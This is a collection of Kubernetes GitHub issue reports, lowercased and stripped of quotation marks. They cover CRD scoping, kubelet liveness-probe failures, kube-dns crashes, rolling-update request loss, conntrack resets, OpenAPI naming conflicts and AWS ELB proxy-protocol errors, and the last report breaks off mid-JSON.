 \r custom resource definitions are currently cluster-wide objects, so users need cluster-level authorizations to create them.\r \r but current trend is to use crds in combination with \ operators\  to perform management of complex applications inside a namespace.\r crds used in this context should be namespaced, as namespaced are the applications they describe.\r \r i think kubernetes shoud allow creation of crds that exist only inside a namespace and for this reason can be created by users without cluster-level authorizations.

is this a bug report or feature request?  :\r  \r   what happened  :\r we are running  etcd  as a static pod with an http liveness probe. for some reason, our  etcd  container died. the  kubelet  then attempted to restart it, but could not succeed as it could not determine that the  etcd  container was alive. when  etcd  was down, obviously the api could not respond with data, so when the prober routine constructed a liveness probe, it had no  podstatus  and could not determine the ip to probe on:\r \r    \r i0809 00:00:43.458564   31706 kuberuntime_manager.go:757  checking backoff for container \ etcd\  in pod \ master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 \ \r i0809 00:00:44.328105   31706 kubelet.go:1869  syncloop  pleg : \ master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 \ , event: &pleg.podlifecycleevent{id:\ 6fa4cda81596c9975ede8b7394cc2d87\ , type:\ containerstarted\ , data:\ 0de13712898ca7736e4f15e73a2a6918c7d87f4ccbe9943f371d16faf6a9a455\ }\r w0809 00:00:44.367278   31706 status_manager.go:482  failed to get status for pod \ master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 \ : get https://internal-master.ci.openshift.org:8443/api/v1/namespaces/kube-system/pods/master-etcd-origin-ci-ig-m-vqm9: dial tcp 35.231.83.68:8443: connect: connection refused\r w0809 00:00:45.167627   31706 status_manager.go:482  failed to get status for pod \ master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 \ : get https://internal-master.ci.openshift.org:8443/api/v1/namespaces/kube-system/pods/master-etcd-origin-ci-ig-m-vqm9: dial tcp 35.231.83.68:8443: connect: connection refused\r w0809 00:00:51.966995   31706 status_manager.go:482  failed to get status for pod \ master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 \ : get https://internal-master.ci.openshift.org:8443/api/v1/namespaces/kube-system/pods/master-etcd-origin-ci-ig-m-vqm9: dial tcp 35.231.83.68:8443: connect: connection refused\r i0809 00:00:52.327579   31706 prober.go:111  liveness probe for \ master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 :etcd\  failed  failure : dial tcp :2379: connect: connection refused\r i0809 00:01:02.327841   31706 prober.go:111  liveness probe for \ master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 :etcd\  failed  failure : dial tcp :2379: connect: connection refused\r w0809 00:01:03.967084   31706 status_manager.go:482  failed to get status for pod \ master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 \ : get https://internal-master.ci.openshift.org:8443/api/v1/namespaces/kube-system/pods/master-etcd-origin-ci-ig-m-vqm9: dial tcp 35.231.83.68:8443: connect: connection refused\r i0809 00:01:12.327612   31706 prober.go:111  liveness probe for \ master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 :etcd\  failed  failure : dial tcp :2379: connect: connection refused\r i0809 00:01:12.327700   31706 kubelet.go:1902  syncloop  container unhealthy : \ master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 \ \r i0809 00:01:12.628770   31706 kuberuntime_manager.go:549  container \ etcd\   {\ docker\  \ 0de13712898ca7736e4f15e73a2a6918c7d87f4ccbe9943f371d16faf6a9a455\ }  of pod master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 : container failed liveness probe.. container will be killed and recreated.\r i0809 00:01:12.761930   31706 kuberuntime_manager.go:757  checking backoff for container \ etcd\  in pod \ master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 \ \r w0809 00:01:12.767269   31706 status_manager.go:482  failed to get status for pod \ master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 \ : get https://internal-master.ci.openshift.org:8443/api/v1/namespaces/kube-system/pods/master-etcd-origin-ci-ig-m-vqm9: dial tcp 35.231.83.68:8443: connect: connection refused\r i0809 00:01:12.983556   31706 kubelet.go:1869  syncloop  pleg : \ master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 \ , event: &pleg.podlifecycleevent{id:\ 6fa4cda81596c9975ede8b7394cc2d87\ , type:\ containerdied\ , data:\ 0de13712898ca7736e4f15e73a2a6918c7d87f4ccbe9943f371d16faf6a9a455\ }\r i0809 00:01:14.021792   31706 kubelet.go:1869  syncloop  pleg : \ master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 \ , event: &pleg.podlifecycleevent{id:\ 6fa4cda81596c9975ede8b7394cc2d87\ , type:\ containerstarted\ , data:\ 262d657e0d842074139f77e64809087878a3753e2b2e3f687a866af198c13e2a\ }\r w0809 00:01:14.967317   31706 status_manager.go:482  failed to get status for pod \ master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 \ : get https://internal-master.ci.openshift.org:8443/api/v1/namespaces/kube-system/pods/master-etcd-origin-ci-ig-m-vqm9: dial tcp 35.231.83.68:8443: connect: connection refused\r i0809 00:01:22.327688   31706 prober.go:111  liveness probe for \ master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 :etcd\  failed  failure : dial tcp :2379: connect: connection refused\r w0809 00:01:24.367147   31706 status_manager.go:482  failed to get status for pod \ master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 \ : get https://internal-master.ci.openshift.org:8443/api/v1/namespaces/kube-system/pods/master-etcd-origin-ci-ig-m-vqm9: dial tcp 35.231.83.68:8443: connect: connection refused\r i0809 00:01:32.327649   31706 prober.go:111  liveness probe for \ master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 :etcd\  failed  failure : dial tcp :2379: connect: connection refused\r w0809 00:01:33.767119   31706 status_manager.go:482  failed to get status for pod \ master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 \ : get https://internal-master.ci.openshift.org:8443/api/v1/namespaces/kube-system/pods/master-etcd-origin-ci-ig-m-vqm9: dial tcp 35.231.83.68:8443: connect: connection refused\r i0809 00:01:42.327689   31706 prober.go:111  liveness probe for \ master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 :etcd\  failed  failure : dial tcp :2379: connect: connection refused\r i0809 00:01:42.327772   31706 kubelet.go:1902  syncloop  container unhealthy : \ master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 \ \r i0809 00:01:42.630662   31706 kuberuntime_manager.go:549  container \ etcd\   {\ docker\  \ 262d657e0d842074139f77e64809087878a3753e2b2e3f687a866af198c13e2a\ }  of pod master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 : container failed liveness probe.. container will be killed and recreated.\r i0809 00:01:43.266518   31706 kuberuntime_manager.go:757  checking backoff for container \ etcd\  in pod \ master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 \ \r i0809 00:01:43.266669   31706 kuberuntime_manager.go:767  back-off 5m0s restarting failed container=etcd pod=master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 \r e0809 00:01:43.266705   31706 pod_workers.go:186  error syncing pod 6fa4cda81596c9975ede8b7394cc2d87  \ master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 \  , skipping: failed to \ startcontainer\  for \ etcd\  with crashloopbackoff: \ back-off 5m0s restarting failed container=etcd pod=master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 \ \r i0809 00:01:43.645342   31706 kubelet.go:1869  syncloop  pleg : \ master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 \ , event: &pleg.podlifecycleevent{id:\ 6fa4cda81596c9975ede8b7394cc2d87\ , type:\ containerdied\ , data:\ 262d657e0d842074139f77e64809087878a3753e2b2e3f687a866af198c13e2a\ }\r    \r \r critical line of logging is:\r \r    \r i0809 00:01:42.327689   31706 prober.go:111  liveness probe for \ master-etcd-origin-ci-ig-m-vqm9_kube-system 6fa4cda81596c9975ede8b7394cc2d87 :etcd\  failed  failure : dial tcp :2379: connect: connection refused\r    \r \r \r   what you expected to happen  :\r when no connection to the api server exists and we cannot read  podstatus  to determine the ip at which to reach the liveness probes, we should not execute the probes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r going to be hard to do, not really sure.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r      \r   client version: version.info{major:\ \ , minor:\ \ , gitversion:\ v1.9.1+a0ce1bc657\ , gitcommit:\ a0ce1bc\ , gittreestate:\ clean\ , builddate:\ 2018-01-26t16:36:26z\ , goversion:\ go1.9\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r   server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0+d4cacc0\ , gitcommit:\ d4cacc0\ , gittreestate:\ clean\ , builddate:\ 2018-08-04t06:54:36z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r      \r \r - cloud provider or hardware configuration:\r   running in gce but that's not relevant.\r \r - os  e.g. from /etc/os-release :\r      \r     cat /etc/os-release \r   name=\ centos linux\ \r   version=\ 7  core \ \r   id=\ centos\ \r   id_like=\ rhel fedora\ \r   version_id=\ 7\ \r   pretty_name=\ centos linux 7  core \ \r   ansi_color=\ 0;31\ \r   cpe_name=\ cpe:/o:centos:centos:7\ \r   home_url=\ https://www.centos.org/\ \r   bug_report_url=\ https://bugs.centos.org/\ \r   \r   centos_mantisbt_project=\ centos-7\ \r   centos_mantisbt_project_version=\ 7\ \r   redhat_support_product=\ centos\ \r   redhat_support_product_version=\ 7\ \r      \r - kernel  e.g.  uname -a  :\r      \r      uname -a\r    linux origin-ci-ig-m-vqm9 3.10.0-862.3.2.el7.x86_64  1 smp mon may 21 23:36:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r       \r \r /area kubelet\r /cc @sjenning @derekwaynecarr @smarterclayton

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r liveness/readiness checks for external endpoints.\r \r as i understand, kube-proxy does load-balancing over  endpoints  with multiple targets like\r \r    \r apiversion: v1\r kind: endpoints\r metadata:\r   name: someclusterofaserviceoutsideofthekubernetescluster\r subsets:\r - addresses:\r   - ip: 10.32.123.456\r   - ip: 10.32.234.567\r   - ip: 10.32.345.678\r   ports:\r   - port: 1234\r    \r \r but the documentation is not clear  to me  what happens if one of these three backends does not work, but i assume that addresses with the  port  closed are excluded from load balancing? but what about retry intervals or check intervals?\r \r   why would this be nice  :\r \r adding liveness/readiness probes to  endpoints  would make this configurable, e.g. to check either simple reachability  tcp  or periodically calling a liveness route  e.g. http call to /myservice/alive an checking for  200 ok  .\r \r this might look like:\r \r    \r apiversion: v1\r kind: endpoints\r metadata:\r   name: someclusterofaserviceoutsideofthekubernetescluster\r subsets:\r - addresses:\r   - ip: 10.32.123.456\r   - ip: 10.32.234.567\r   - ip: 10.32.345.678\r   ports:\r   - port: 1234\r   readinessprobe:\r     httpget:\r       path: /myservice/alive\r     periodseconds: 15\r    \r \r maybe this would be out of scope for kubernetes  and best practice would be to use a loadbalancer like haproxy in a small pod , but maybe the idea is not bad?

i want to be able to see the current labels  or annotations  of a resource w/o getting the whole configuration. this should probably be supported in kubectl {label,annotate} either by just passing the resource or via a  --list  option.  @kubernetes/kubectl

it is weird. this failure:   https://pantheon.corp.google.com/storage/browser/kubernetes-jenkins/pr-logs/pull/22989/kubernetes-pull-build-test-e2e-gce/32669/artifacts/e2e-gce-builder-2-0-master/ https://github.com/kubernetes/kubernetes/pull/22989 issuecomment-196846864  happened because the apiserver didn't come up in 300s, which happened because:      nodehassufficientdisk i0315 14:32:55.787839    3394 kubelet.go:1137  unable to register e2e-gce-builder-2-0-master with the apiserver: post https://e2e-gce-builder-2-0-master/api/v1/nodes: dial tcp 10.240.0.2:443: connection refused e0315 14:32:56.029664    3394 generic.go:195  genericpleg: unable to retrieve pods: cannot connect to docker endpoint e0315 14:32:57.030062    3394 generic.go:195  genericpleg: unable to retrieve pods: cannot connect to docker endpoint i0315 14:32:57.843326    3394 kubelet.go:2365  skipping pod synchronization -  error on adding ip table rules: exit status 2 container runtime is down       so essentially the kubelet never setup cbr0 but did restart docker, which failed to startup because cbr0 doesn't exist.

the kubeconfig context for the federation api server is now hard coded to  federation-cluster . we should make this user-configurable with default value set to  federation .  cc @kubernetes/sig-cluster-federation @quinton-hoole

recurring often lately\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/42346/pull-kubernetes-e2e-gce-etcd3/21247/\r \r @caesarxuchao

using a local dev setup  hack local cluster , creating a guestbook service from this json: https://github.com/googlecloudplatform/kubernetes/blob/b01126322b826a15db06f6eeefeeb56dc06db7af/examples/guestbook-go/guestbook-service.json  it fails with \ requested an external service, but no cloud provider supplied\  it will be better if: 1. basic examples will work in dev setup 2. the message will explain what should be changed in the json  which attribute is missing  in order to make it work/which values should be assigned.

hi developers \r     if i created multiple cidr ippool, how can i define which ippool allocate ip when i make a pod run.  ,

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   @kubernetes/sig-network-bugs \r  \r \r \r   what happened  :\r kubedns-masq and sidecar containers crash after doing nslookup on logical names that do not exists in the kubedns.\r \r   what you expected to happen  :\r the crashing of containers is not an expected behavior.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r se details below\r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.6.4\r - cloud provider or hardware configuration  :\r local machine running k8s cluster on vmware workstation 12 pro  single node \r - os  e.g. from /etc/os-release :\r ubuntu 17.04 \r - kernel  e.g.  uname -a  :\r \r linux ubuntumaster 4.10.0-19-generic  21-ubuntu smp thu apr 6 17:04:57 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r \r i am facing a strange issue\r here are my kubernetes details\r kubernetes version:  1.6.4\r os: ubuntu 17.04\r i use the yaml files from the following link to install kube-dns\r https://github.com/kubernetes/kubernetes/tree/master/cluster/addons/dns/\r \r step 1\r \r i then try to launch busybox using \r kubectl run -i --tty busybox --image=busybox – sh\r \r now when i do nslookup kubernetes it works.\r now when i try to see the docker logs for my sidecar i see the following\r \r error: logging before flag.parse: i0721 17:15:25.067730       1 main.go:48  version v1.14.3-4-gee838f6\r error: logging before flag.parse: i0721 17:15:25.067981       1 server.go:45  starting server  options {dnsmasqport:53 dnsmasqaddr:127.0.0.1 dnsmasqpollintervalms:5000 probes: {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:1} {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:1}  prometheusaddr:0.0.0.0 prometheusport:10054 prometheuspath:/metrics prometheusnamespace:kubedns} \r error: logging before flag.parse: i0721 17:15:25.068191       1 dnsprobe.go:75  starting dnsprobe {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:1}\r error: logging before flag.parse: i0721 17:15:25.068398       1 dnsprobe.go:75  starting dnsprobe {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:1}\r error: logging before flag.parse:\r \r \r step 2\r if i do a nslookup against a name  say nslookup abcd  that i know does not exist in kubedns  as a a record  then i see following logs in my dnsmesg container\r \r i0718 17:26:33.738368       1 nanny.go:108  dnsmasq 13 : maximum number of concurrent dns queries reached  max: 150 \r \r and at the same time i see following in sidecar\r \r dns sidecar errorerror: logging before flag.parse: i0720 02:09:37.975054       1 main.go:48  version v1.14.3-4-gee838f6\r error: logging before flag.parse: i0720 02:09:37.975140       1 server.go:45  starting server  options {dnsmasqport:53 dnsmasqaddr:127.0.0.1 dnsmasqpollintervalms:5000 probes: {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:1} {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:1}  prometheusaddr:0.0.0.0 prometheusport:10054 prometheuspath:/metrics prometheusnamespace:kubedns} \r error: logging before flag.parse: i0720 02:09:37.975160       1 dnsprobe.go:75  starting dnsprobe {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:1}\r error: logging before flag.parse: i0720 02:09:37.975200       1 dnsprobe.go:75  starting dnsprobe {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:1}\r error: logging before flag.parse: w0720 02:12:50.090595       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:36473->127.0.0.1:53: i/o timeout\r error: logging before flag.parse: w0720 02:13:03.607740       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:56334->127.0.0.1:53: i/o timeout\r error: logging before flag.parse: w0720 02:13:10.609651       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:39976->127.0.0.1:53: i/o timeout\r error: logging before flag.parse: w0720 02:13:23.644035       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:57226->127.0.0.1:53: i/o timeout\r \r step 3\r now here is a bummer after 5minutes or 10 minutes my  sidecar and dnsmasq both crash and new containers get recreated.\r \r a few other details about my k8s cluster \r i am using vmware workstation 12 pro to run my cluster on one node and i have enabled rbac and am using client certificates for authentication\r \r \r sos. can someone point me in the right direction? have spent a lot of time trying to figure this one out.\r thanks in advance\r \r \r

i think that we should allow now other cp to implement this  interface  https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/aws/aws.go l321   and make volumes mgmt cloud agnostic. to do so, we should also extract the volumeoptions\r \r /area cloudprovider\r  

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r since the update from kubernetes 1.6.4 to 1.8 -- in my case provided by minikube v0.18, now v0.23 -- the zero-downtime rolling-update with  nodeport  services  and service vip  doesn't work anymore without loosing requests. after doing some investigation  how kubernetes managed rolling-updates, also see kubernetes/contrib 1140 , my understanding was, that at least the service vip should provide rolling-update without any lost requests. this was always the case when connecting against the minikube node port  e.g.  192.168.99.100:30655  . when downgrading the installation to minikube v0.18 and kubernetes 1.6.4 all requests to the service are handled reliably; the latest version reliably fails some requests when performing a rolling-update.\r \r   what you expected to happen  :\r rolling-update with zero-downtime and without loosing requests, when accessing the service vip  minikube with nodeport .\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a single service with type  nodeport  and a deployment with liveness and readiness probes and a container that gracefully handles termination. see https://github.com/sdaschner/hello-cloud/tree/master/deployment/ as an example.\r \r   anything else we need to know?  :\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8  worked in v1.6.4 \r - cloud provider or hardware configuration: minikube v0.23.0  worked in v0.18 \r - os  e.g. from /etc/os-release : archlinux\r - kernel  e.g.  uname -a  :  linux archlinux 4.13.9-1-arch  1 smp preempt sun oct 22 09:07:32 cest 2017 x86_64 gnu/linux \r - install tools: minikube, pacaur\r - others:\r \r 

looking at current swagger.json  selector  type in  core.v1.service  is  object , shouldn't  it be labelselector like it was done in https://github.com/kubernetes/kubernetes/pull/19840 ?\r \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r bug \r \r  \r \r   what happened  :\r when i start a simple nginx pod by kubectl create, k8s always spend _10 second_ to \ created\  a container after \ successfulmountvolume\ , how can it be   so   slow ? what happen during this period?\r   what you expected to happen  :\r start a pod in 5 second after mounted successfully\r   how to reproduce it  as minimally and precisely as possible   :\r kubectl create -f nginx.yaml  a quite simple pod with nginx \r kubectl describe pods nginx\r \r   anything else we need to know?  :\r this issue can be easily repro on centos 7 + kubelet 1.9.5/1.10.x + docker 1.12/1.13 \r however on   docker 18.06   it only spends _1-2 second_ to start a pod !   unbelievable !  \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.9.5\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r centos 7.3\r - kernel  e.g.  uname -a  :\r linux stcvl-115 3.10.0-862.9.1.el7.x86_64  1 smp mon jul 16 16:29:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r   docker info:  \r server version: 1.13.1\r storage driver: overlay2\r  backing filesystem: xfs\r  supports d_type: true\r  native overlay diff: true\r logging driver: journald\r cgroup driver: systemd\r plugins:\r  volume: local\r  network: bridge host macvlan null overlay\r swarm: inactive\r   docker version  : \r server:\r  version:         1.13.1\r  api version:     1.26  minimum version 1.12 \r  package version: docker-1.13.1-68.gitdded712.el7.centos.x86_64\r  go version:      go1.9.4\r  git commit:      dded712/1.13.1\r  built:           tue jul 17 18:34:48 2018\r  os/arch:         linux/amd64\r  experimental:    false\r   cat /etc/docker/daemon.json  \r {\r     \ insecure-registries\ :   ,\r     \ storage-driver\ : \ overlay2\ ,\r     \ exec-opts\ :  \ native.cgroupdriver=systemd\  ,\r     \ graph\ : \ /var/lib/docker\ \r }\r \r \r

what happened  : network services with heavy load will cause \ connection reset\  from time to time. especially those with big payloads. when packets with sequence number out-of-window arrived k8s node, conntrack marked them as invalid. kube-proxy will ignore them, without rewriting dnat. the packet goes back the the original pod, who doesn't recognize the packet because of the wrong source ip, end up rsting the connection. \r \r   what you expected to happen  : connection not reset\r \r   how to reproduce it  as minimally and precisely as possible   : \r @tcarmet wrote this just to reproduce the issue: https://github.com/tcarmet/k8s-connection-reset\r basically run it in a cluster, and after a while you will be able to see \ connection reset by peer\  on both server and client pods. \r \r   anything else we need to know?  :\r related issue: \r https://github.com/docker/libnetwork/issues/1090\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.7\r - cloud provider or hardware configuration: gke  should be general to all provider \r - os  e.g:  cat /etc/os-release  : \r pretty_name=\ debian gnu/linux 9  stretch \ \r name=\ debian gnu/linux\ \r version_id=\ 9\ \r version=\ 9  stretch \ \r id=debian\r home_url=\ https://www.debian.org/\ \r support_url=\ https://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r - kernel  e.g.  uname -a  : linux gke-cluster-1-11-default-pool-161c67fc-6nzv 4.14.89+  1 smp wed jan 9 13:35:00 pst 2019 x86_64 gnu/linux\r \r

i've upgraded kubernetes to version 1.1.7 and got this error from one of my pod, which was calling the k8s apiserver frequently to check liveness status of every other pods.      error  01: get http:// api-server :8080/api/v1/namespaces/production/pods?labelselector=app%3dworkflow-worker-mandrill-hook-handler: dial tcp  api-server :8080: connect: cannot assign requested address      the requests were being sent at the rate of ~80 requests/second. while having that error, i was still able to call that api from my local. restart the pod solved the issue but the next day, it happened again. it seems that the apiserver was blocking that pod to avoid dos?  i'm using docker version  docker version 1.7.1, build 2c2c52b-dirty  and coreos v773.0.0      linux       4.1.5-coreos  2 smp thu aug 13 09:18:45 utc 2015 x86_64 intel r  xeon r  cpu e5-2630 0 @ 2.30ghz genuineintel gnu/linux

problem  original problem is here  23987   solution  after  24193 which should be pending, delete the rest of repo-root dependent calls and simply bootstrap any needed repo artifacts using the  bindata_util.go  asset functionality i.e.  guestbookpath = filepath.join framework.testcontext.generatedassetsdir, framework.generated_assets, \ examples/guestbook\   .

for example, if you start a deployment for a workload and have a preexisting replicationcontroller using the same selector in the system, the controllers fight and generate enough traffic to cause apiserver to oom.  action items: - why does apiserver oom as its failure mode? - should we catch & prevent this in admission? - should we catch & stop this post-hoc? - controllerref might fix this. @gmarek

bug report  \r   kubernetes version    use  kubectl version  : v1.4.8\r \r   environment  :\r -   cloud provider or hardware configuration  : baremetal @ box\r -   os    e.g. from /etc/os-release : scientificlinux 6\r -   kernel    e.g.  uname -a  :  linux compute-master1001.ve.box.net 3.10.0-229.14.1.el7.x86_64  1 smp tue sep 15 05:09:55 cdt 2015 x86_64 x86_64 x86_64 gnu/linux \r -   install tools  : \r -   others  :\r \r   what happened  :\r in kube v1.4.7 multiple invocations of  kubectl apply -f instanceofthirdpartyresource.yaml  would succeed in v1.4.8 we get the error:\r    \r &{0xc820016d80 0xc82013bea0 user-dev pki-95c36eb44c4a9132082142f7d5e47bf0 /box/deployment-config/release/dsv31/dev/user/app.json &typemeta{kind:,apiversion:extensions/v1beta1,} &typemeta{kind:,apiversion:extensions/v1beta1,} 178335915 false}\r for: \ /box/deployment-config/release/dsv31/dev/user/app.json\ : error when getting instance of versioned object for box-pki.com/v1, kind=pki: \ /box/deployment-config/release/dsv31/dev/user/app.json\ : no kind \ pki\  is registered for version \ box-pki.com/v1\ \r    \r \r   what you expected to happen  :\r would expect it to succeed.   though maybe not actually apply changes .\r \r   how to reproduce it    as minimally and precisely as possible :\r make a thirdpartyresource make an instance of it.  and apply that multiple times on 1.4.8.  sorry i can't share our manifests.  i'll try to get another person at box to produce a test case.\r \r   anything else do we need to know  :\r we believe the regression was introduced in:\r https://github.com/kubernetes/kubernetes/commit/261cdccf4034f13f7e822b76196baf3d31c39001\r \r @pwittrock @ymqytw @ahakanbaba\r \r

bug report  : \r i found this while adding apps/v1beta2 replicaset  originally extensions/v1beta1  in https://github.com/kubernetes/kubernetes/pull/49238\r \r when updating swagger docs i got this error in swagger-api-server.log:\r    \r f0719 16:35:31.282498  109744 openapi.go:38  failed to register open api spec for root: duplicate operation id readappsv1beta2namespacedscalescale for path /apis/apps/v1beta2/namespaces/{namespace}/deployments/{name}/scale and /apis/apps/v1beta2/namespaces/{namespace}/replicasets/{name}/scale.\r    \r \r i believe it is because of some bugs in open api, see  api/openapi-spec/swagger.json  https://github.com/kubernetes/kubernetes/blob/v1.8.0-alpha.2/api/openapi-spec/swagger.json :\r    json\r \ /apis/apps/v1beta1/namespaces/{namespace}/deployments/{name}/scale\ : {\r      \ operationid\ : \ readappsv1beta1namespacedscalescale\ ,\r }\r \r \ /apis/extensions/v1beta1/namespaces/{namespace}/deployments/{name}/scale\ : { \r      \ operationid\ : \ readextensionsv1beta1namespaceddeploymentsscale\ ,\r }\r    \r \r  /extensions/v1beta1/deployments/scale  won't conflict with  /extensions/v1beta1/replicasets/scale  because it's named  readextensionsv1beta1namespaced<resource>scale . \r \r  /apps/v1beta2/deployments/scale  will conflict with  /apps/v1beta2/replicasets/scale  because they both name it  readappsv1beta1namespacedscalescale . \r \r /assign @mehdy \r @kubernetes/sig-api-machinery-bugs

@kubernetes/sig-apps-api-reviews \r \r pr needs to depend on  49071\r \r update  defaults.go  https://github.com/kubernetes/kubernetes/blob/master/pkg/apis/apps/v1beta2/defaults.go  and  default_test.go  https://github.com/kubernetes/kubernetes/blob/master/pkg/apis/apps/v1beta2/defaults.go  and change default strategy from ondelete to rollingupdate.

i'm trying to enable aws elb's  proxy protocol support  https://docs.aws.amazon.com/elasticloadbalancing/latest/classic/enable-proxy-protocol.html  so that the ip addresses of external clients are passed on to the pod backing our services. both our kubernetes control plane and worker nodes are behind elbs, so i turned on the proxy protocol for both. after doing so, i am unable to make connections to either the kubernetes api or the services running on the worker nodes.\r \r control plane:\r \r    \r $ kubectl get nodes\r unable to connect to the server: remote error: tls: record overflow\r    \r \r workers:\r \r    \r $ curl -i https://my-app.example.com/\r curl:  35  unknown ssl protocol error in connection to my-app.example.com:-9822\r    \r \r here is the configuration of the load balancers, as terraform configuration: https://github.com/inquicker/kaws/blob/b3282d3f331b06fefdd69a22ef2be6b9c49fd24a/terraform/balancers.tf\r \r after applying this configuration, the output of  aws elb describe-load-balancers  contains this:\r \r     json\r {\r     \ loadbalancerdescriptions\ :  \r         {\r             \ subnets\ :  \r                 \ redacted\ \r              ,\r             \ canonicalhostedzonenameid\ : \ redacted\ ,\r             \ canonicalhostedzonename\ : \ redacted\ ,\r             \ listenerdescriptions\ :  \r                 {\r                     \ listener\ : {\r                         \ instanceport\ : 30000,\r                         \ loadbalancerport\ : 80,\r                         \ protocol\ : \ tcp\ ,\r                         \ instanceprotocol\ : \ tcp\ \r                     },\r                     \ policynames\ :   \r                 },\r                 {\r                     \ listener\ : {\r                         \ instanceport\ : 30001,\r                         \ loadbalancerport\ : 443,\r                         \ protocol\ : \ tcp\ ,\r                         \ instanceprotocol\ : \ tcp\ \r                     },\r                     \ policynames\ :   \r                 }\r              ,\r             \ healthcheck\ : {\r                 \ healthythreshold\ : 2,\r                 \ interval\ : 30,\r                 \ target\ : \ http:10249/healthz\ ,\r                 \ timeout\ : 3,\r                 \ unhealthythreshold\ : 2\r             },\r             \ vpcid\ : \ redacted\ 